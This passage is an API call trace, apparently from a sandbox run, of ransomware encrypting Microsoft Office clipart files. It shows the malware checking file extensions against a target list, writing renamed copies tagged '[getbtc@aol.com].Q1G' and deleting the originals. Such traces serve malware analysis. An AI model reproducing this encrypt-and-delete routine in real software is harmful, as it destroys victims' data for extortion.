[0264.519] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.519] lstrlenW (lpString=".jpg") returned 4 [0264.519] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.520] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.520] lstrlenW (lpString="J0182689.JPG") returned 12 [0264.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.522] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=16615) returned 1 [0264.522] CloseHandle (hObject=0x3a8) returned 1 [0264.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 0x20 [0264.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.523] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.523] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.523] GetLastError () returned 0x0 [0264.523] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x40e7, lpOverlapped=0x0) returned 1 [0264.525] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x40f0, lpOverlapped=0x0) returned 1 [0264.526] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.526] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.526] SetEndOfFile (hFile=0x3a0) returned 1 [0264.527] CloseHandle (hObject=0x3a0) returned 1 [0264.527] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.527] SetEndOfFile (hFile=0x3a8) returned 1 [0264.529] CloseHandle (hObject=0x3a8) returned 1 [0264.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 1 [0264.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.530] lstrlenW (lpString=".doc") returned 4 [0264.530] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.530] lstrlenW (lpString=".docx") returned 5 [0264.530] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0264.530] lstrlenW (lpString=".pdf") returned 4 [0264.530] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.530] lstrlenW (lpString=".xls") returned 4 [0264.530] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.530] lstrlenW (lpString=".xlsx") returned 5 [0264.530] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0264.530] lstrlenW (lpString=".ppt") returned 4 [0264.530] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.530] lstrlenW (lpString=".zip") returned 4 [0264.530] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.530] lstrlenW (lpString=".rar") returned 4 [0264.530] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.530] lstrlenW (lpString=".bz2") returned 4 [0264.530] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.530] lstrlenW (lpString=".7z") returned 3 [0264.530] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.530] lstrlenW (lpString=".dbf") returned 4 [0264.530] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.530] lstrlenW (lpString=".1cd") returned 4 [0264.530] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.530] lstrlenW (lpString=".jpg") returned 4 [0264.530] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.531] lstrlenW (lpString=".doc") returned 4 [0264.531] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.531] lstrlenW (lpString=".docx") returned 5 [0264.531] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0264.531] lstrlenW (lpString=".pdf") returned 4 [0264.531] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.531] lstrlenW (lpString=".xls") returned 4 [0264.531] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.531] lstrlenW (lpString=".xlsx") returned 5 [0264.531] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0264.531] lstrlenW (lpString=".ppt") returned 4 [0264.531] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.531] lstrlenW (lpString=".zip") returned 4 [0264.531] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.531] lstrlenW (lpString=".rar") returned 4 [0264.531] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.531] lstrlenW (lpString=".bz2") returned 4 [0264.531] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.531] lstrlenW (lpString=".7z") returned 3 [0264.531] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.531] lstrlenW (lpString=".dbf") returned 4 [0264.531] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.531] lstrlenW (lpString=".1cd") returned 4 [0264.531] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0264.531] lstrlenW (lpString=".jpg") returned 4 [0264.531] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.532] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.532] lstrlenW (lpString="J0182888.WMF") returned 12 [0264.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.532] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=24392) returned 1 [0264.532] CloseHandle (hObject=0x3a8) returned 1 [0264.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 0x20 [0264.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.533] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.533] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.533] GetLastError () returned 0x0 [0264.533] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5f48, lpOverlapped=0x0) returned 1 [0264.603] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5f50, lpOverlapped=0x0) returned 1 [0264.604] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.604] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.604] SetEndOfFile (hFile=0x3a0) returned 1 [0264.604] CloseHandle (hObject=0x3a0) returned 1 [0264.604] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.604] SetEndOfFile (hFile=0x3a8) returned 1 [0264.606] CloseHandle (hObject=0x3a8) returned 1 [0264.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.635] lstrlenW (lpString=".doc") returned 4 [0264.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString=".docx") returned 5 [0264.635] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.635] lstrlenW (lpString=".pdf") returned 4 [0264.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString=".xls") returned 4 [0264.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.635] lstrlenW (lpString=".xlsx") returned 5 [0264.635] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.635] lstrlenW (lpString=".ppt") returned 4 [0264.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.635] lstrlenW (lpString=".zip") returned 4 [0264.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.635] lstrlenW (lpString=".rar") returned 4 [0264.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString=".bz2") returned 4 [0264.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString=".7z") returned 3 [0264.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.635] lstrlenW (lpString=".dbf") returned 4 [0264.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.635] lstrlenW (lpString=".1cd") returned 4 [0264.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString=".jpg") returned 4 [0264.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString=".doc") returned 4 [0264.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString=".docx") returned 5 [0264.636] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.636] lstrlenW (lpString=".pdf") returned 4 [0264.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString=".xls") returned 4 [0264.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.636] lstrlenW (lpString=".xlsx") returned 5 [0264.636] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.636] lstrlenW (lpString=".ppt") returned 4 [0264.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString=".zip") returned 4 [0264.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.636] lstrlenW (lpString=".rar") returned 4 [0264.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString=".bz2") returned 4 [0264.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString=".7z") returned 3 [0264.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString=".dbf") returned 4 [0264.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString=".1cd") returned 4 [0264.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0264.636] lstrlenW (lpString=".jpg") returned 4 [0264.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.637] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.637] lstrlenW (lpString="J0183198.WMF") returned 12 [0264.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.637] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=24430) returned 1 [0264.637] CloseHandle (hObject=0x1bc) returned 1 [0264.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 0x20 [0264.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.638] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.638] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.638] GetLastError () returned 0x0 [0264.638] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5f6e, lpOverlapped=0x0) returned 1 [0264.662] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5f70, lpOverlapped=0x0) returned 1 [0264.663] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.663] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.663] SetEndOfFile (hFile=0x37c) returned 1 [0264.663] CloseHandle (hObject=0x37c) returned 1 [0264.664] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.664] SetEndOfFile (hFile=0x1bc) returned 1 [0264.666] CloseHandle (hObject=0x1bc) returned 1 [0264.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0264.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.702] lstrlenW (lpString=".doc") returned 4 [0264.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.702] lstrlenW (lpString=".docx") returned 5 [0264.702] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.702] lstrlenW (lpString=".pdf") returned 4 [0264.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.702] lstrlenW (lpString=".xls") returned 4 [0264.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.703] lstrlenW (lpString=".xlsx") returned 5 [0264.703] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.703] lstrlenW (lpString=".ppt") returned 4 [0264.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.703] lstrlenW (lpString=".zip") returned 4 [0264.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.703] lstrlenW (lpString=".rar") returned 4 [0264.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString=".bz2") returned 4 [0264.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString=".7z") returned 3 [0264.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.703] lstrlenW (lpString=".dbf") returned 4 [0264.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.703] lstrlenW (lpString=".1cd") returned 4 [0264.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.703] lstrlenW (lpString=".jpg") returned 4 [0264.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.703] lstrlenW (lpString=".doc") returned 4 [0264.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString=".docx") returned 5 [0264.703] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.703] lstrlenW (lpString=".pdf") returned 4 [0264.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.703] lstrlenW (lpString=".xls") returned 4 [0264.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.703] lstrlenW (lpString=".xlsx") returned 5 [0264.703] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.704] lstrlenW (lpString=".ppt") returned 4 [0264.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.704] lstrlenW (lpString=".zip") returned 4 [0264.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.704] lstrlenW (lpString=".rar") returned 4 [0264.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.704] lstrlenW (lpString=".bz2") returned 4 [0264.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.704] lstrlenW (lpString=".7z") returned 3 [0264.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.704] lstrlenW (lpString=".dbf") returned 4 [0264.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.704] lstrlenW (lpString=".1cd") returned 4 [0264.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0264.704] lstrlenW (lpString=".jpg") returned 4 [0264.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.704] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.704] lstrlenW (lpString="J0185774.WMF") returned 12 [0264.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.717] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x319ff1c | out: 